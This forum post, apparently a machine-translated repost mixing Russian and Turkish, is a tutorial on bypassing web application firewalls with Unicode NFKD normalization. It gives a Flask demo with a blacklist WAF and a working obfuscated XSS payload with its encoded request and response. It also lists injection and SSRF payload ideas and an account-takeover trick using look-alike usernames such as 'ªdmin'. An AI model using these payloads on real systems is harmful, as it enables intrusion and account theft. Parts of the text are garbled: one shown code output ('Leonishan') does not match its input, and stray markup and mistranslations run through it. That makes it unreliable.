Используем особенности Юникода для обхода WAF

M

Mirbey

Original poster

WAF'yi Atlamak için Unicode Özelliklerini Kullanma


Unicode Uyumluluğu , farklı soyut görünümlere veya davranışlara sahip olabilecek karakterler veya karakter dizileri arasında aynı soyut sembolün temsil edilmesini sağlayan bir Unicode denkliği biçimidir .
Örneğin, Romen rakamları kendi Unicode karakterlerine karşılık gelir, ancak aynı zamanda Latin karakterler I, V, M, vb. İle temsil edilebilir. Uyumluluk kullanıldığında, özel Romen rakamları latin harfleri kullanılarak eşdeğerlerine dönüştürülecektir.
Такое поведение может открыть дверь для злоупотребления некоторыми слабыми реализациями, которые выполняют совместимость с юникодом после очистки входных данных.
Формы нормализации Юникода
Существует четыре стандартных формы нормализации:
  • NFC (Normalization Form Canonical Composition): форма нормализации канонической композицией
  • NFD (Normalization Form Canonical Decomposition): форма нормализации канонической декомпозицией
  • NFKC (Normalization Form Compatibility Composition): форма нормализации совместимой композицией
  • NFKD (Normalization Form Compatibility Decomposition): форма нормализации совместимой декомпозицией
Более подробно читайте в статье "Хитрости Unicode и эксплуатация XSS при лимите ввода длиной в 20 символов" -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


6d8056c07d4312068edbc.png

NFKC и NFKD интересны тем, что выполняют вышеназванное преобразование символов в их эквиваленты. Проверить, как работают четыре формы нормализации, можно используя следующий фрагмент кода:
Код:
import unicodedata
string = "ⅇⅈ"
print ('NFC: ' + unicodedata.normalize('NFC', string))
print ('NFD: ' + unicodedata.normalize('NFD', string))
print ('NFKC: ' + unicodedata.normalize('NFKC', string))
print ('NFKD: ' + unicodedata.normalize('NFKD', string))

Вывод:
Код:
NFC: ⅇⅈ
NFD: ⅇⅈ
NFKC: Leonishan
NFKD: Leonishan

Доказательство концепции
Чтобы продемонстрировать то, как можно обойти WAF при помощи Unicode, я развернул простое веб-приложение, отображающее имя пользователя, заданное параметром GET, если WAF не обнаруживает какой-то странный символ.
  • server.py
Код:
from flask import Flask, abort, request
import unicodedata
from waf import waf

app = Flask(__name__)


@app.route('/')
def Welcome_name():
name = request.args.get('name')


if waf(name):
abort(403, description="XSS Detected")
else:
name = unicodedata.normalize('NFKD', name)
return 'Test XSS: ' + name

if __name__ == '__main__':
app.run(port=81)

  • waf.py
Код:
def waf(input):
print(input)
blacklist = ["~","!","@","#","$","%","^","&","*","(",")","_","_","+","=","{","}","]","[","|","\",",".","/","?",";",":",""",""","<",">"]
vuln_detected = False
if any(string in input for string in blacklist):
vuln_detected = True
return vuln_detected

Давайте проверим работу WAF на основе простого пэйлоада
Код:
<img src=p onerror='prompt(1)'>
  • Запрос:
Код:
GET /?name=%3Cimg%20src=p%20onerror=%27prompt(1)%27%3E

  • Ответ:
Код:
HTTP/1.0 403 FORBIDDEN
Content-Type: text/html
Content-Length: 124
Server: Werkzeug/0.16.0 Python/3.8.1
Date: Wed, 19 Feb 2020 11:11:58 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>XSS Detected</p>

WAF успешно заблокировал запрос, потому что обнаружил в нем запрещенные символы.
Строка кода
Код:
name = unicodedata.normalize('NFKD', name)

Идет уже после того, как WAF проанализирует входные данные. Следовательно, если мы отправим следующую полезную нагрузку:
Код:
<img src⁼p onerror⁼'prompt⁽1⁾'﹥

WAF не обнаружит в ней ничего запрещенного, так как таких символов в черном списке у него нет (лишь их эквиваленты). А после - строка нормализуется, превратится в <img src=p onerror='prompt(1)'> и отобразится на странице.
  • Запрос:
Код:
GET /?name=%EF%BC%9Cimg%20src%E2%81%BCp%20onerror%E2%81%BC%EF%BC%87prompt%E2%81%BD1%E2%81%BE%EF%BC%87%EF%B9%A5

  • Ответ:
Код:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 41

Test XSS:
Код:
<img src=p onerror='prompt(1)'>

335510b32605a960e0183.png

Как найти эквивалентные символы
Чтобы найти полный список символов, имеющих одинаковое значение после совместимости с юникодом, можно использовать этот удивительный ресурс:
Можно найти символ и ниже - его эквивалент. Например, вот символ < -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

и символы на его основе:
af66bc6678c88abe28d87.png

  • ≮ - < (U + 003C) - ◌̸ (U + 0338)
  • ﹤ - < (U+003C)
  • < - < (U+003C)
В данном случае символ ≮ не подходит, потому что он, в свою очередь, вводит символ ◌̸ (U + 0338) и сломает наш пэйлоад.
Эксплуатация других уязвимостей
Тонны пользовательских полезных нагрузок могут быть созданы при выполнении нормализации, я дам несколько идей:
  • Path Traversal
77325044b04e4cafe8650.png

  • SQL Injection
daf3b8c20a848cb8ef604.png

  • Server Side Request Forgery (SSRF)
54c61cb58dd4c55aa3868.png

  • Open Redirect
e0da83b29fc1e40a86287.png

  • XSS
f80059376559d13fc3a7c.png

  • Template Injection
2fc7af88aa3f745c0c2f2.png

  • OS Command Injection
af486cc018563c1fa897b.png

  • Arbitrary file upload
7597e3fadd7371f5b91fe.png

  • Business logic
Можно попробовать поиграть с коллизиями и зарегистрировать уже существующего пользователя, тем самым сменив его пароль (ну или допустить возможность использования сразу двух паролей для одного пользователя). Возможно, как и в примере с WAF, нормализация выполняется на последнем этапе, перед внесением информации в базу данных. А, возможно, в базу внесется текст с коллизией, а на этапе авторизации произойдет нормализация и вход выполнится от имени настоящего администратора.
  • 1. ªdmin oturum açma adıyla kullanıcıyı kaydedin. Veritabanında böyle bir giriş yok, kayıt başarılı.
  • 2. Giriş ªdmin ile giriş yapmaya çalışıyoruz. Arka uç normalleştirmeyi gerçekleştirir ve gerçek bir yöneticinin sonuçlarını görüntüler.
  • 3. Hesabın emilmesi.
adef1cbbe12878a118b2f.png

bulma
Unicode ile uyumluluğu tespit etmek için, eşdeğer karakterler içeren bir yükü başka bir alfabeden bir parametrenin değerine koymak ve cevaba bakmak gerekir.
Gönderme URL URL'de kodlanmış -% F0% 9D% 95% 83% E2% 85% 87% F0% 9D% 99% A4% F0% 9D% 93% 83% E2% 85% 88% F0% 9D% 94% B0% F0% 9D% 94% A5% F0% 9D% 99% 96% F0% 9D% 93% 83 - aşağıdaki cevabı verir:
Код:
 HTTP / 1.0 200 Tamam
İçerik Türü: metin / html; karakter kümesi = utf-8
İçerik: 19

Test XSS: Leonishan [/ CODE]

Unicode uyumlu выполняется
Ve eğer cevap:
[CODE] HTTP / 1.0 200 Tamam
İçerik Türü: metin / html; karakter kümesi = utf-8
İçerik Uzunluğu: 44

Test XSS: ðâð¤ðâð ° ð ¥ ðð [/ KOD]

Unicode uyumluluğu çalışmıyor ❌
[B]Not. [/B]Burp kullanan hatalar arıyorsanız, yükün URL olarak önceden kodlanmış olması gerekir. Burp editörü çok baytlı karakterleri doğru şekilde işlemez.

Makale orijinal olarak İngilizce - [URL='https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html']okundu[/URL] .

Alındığı [URL='https://t.me/cybred']Cybred [/URL] - ağa ve evrensel karşılıklı bilgi özgürlüğü konusunda eski okul yeraltı çevrimiçi topluluklar görüşlerinden etkilenerek kanal bilgileri güvenlik ve rekabetçi zeka,.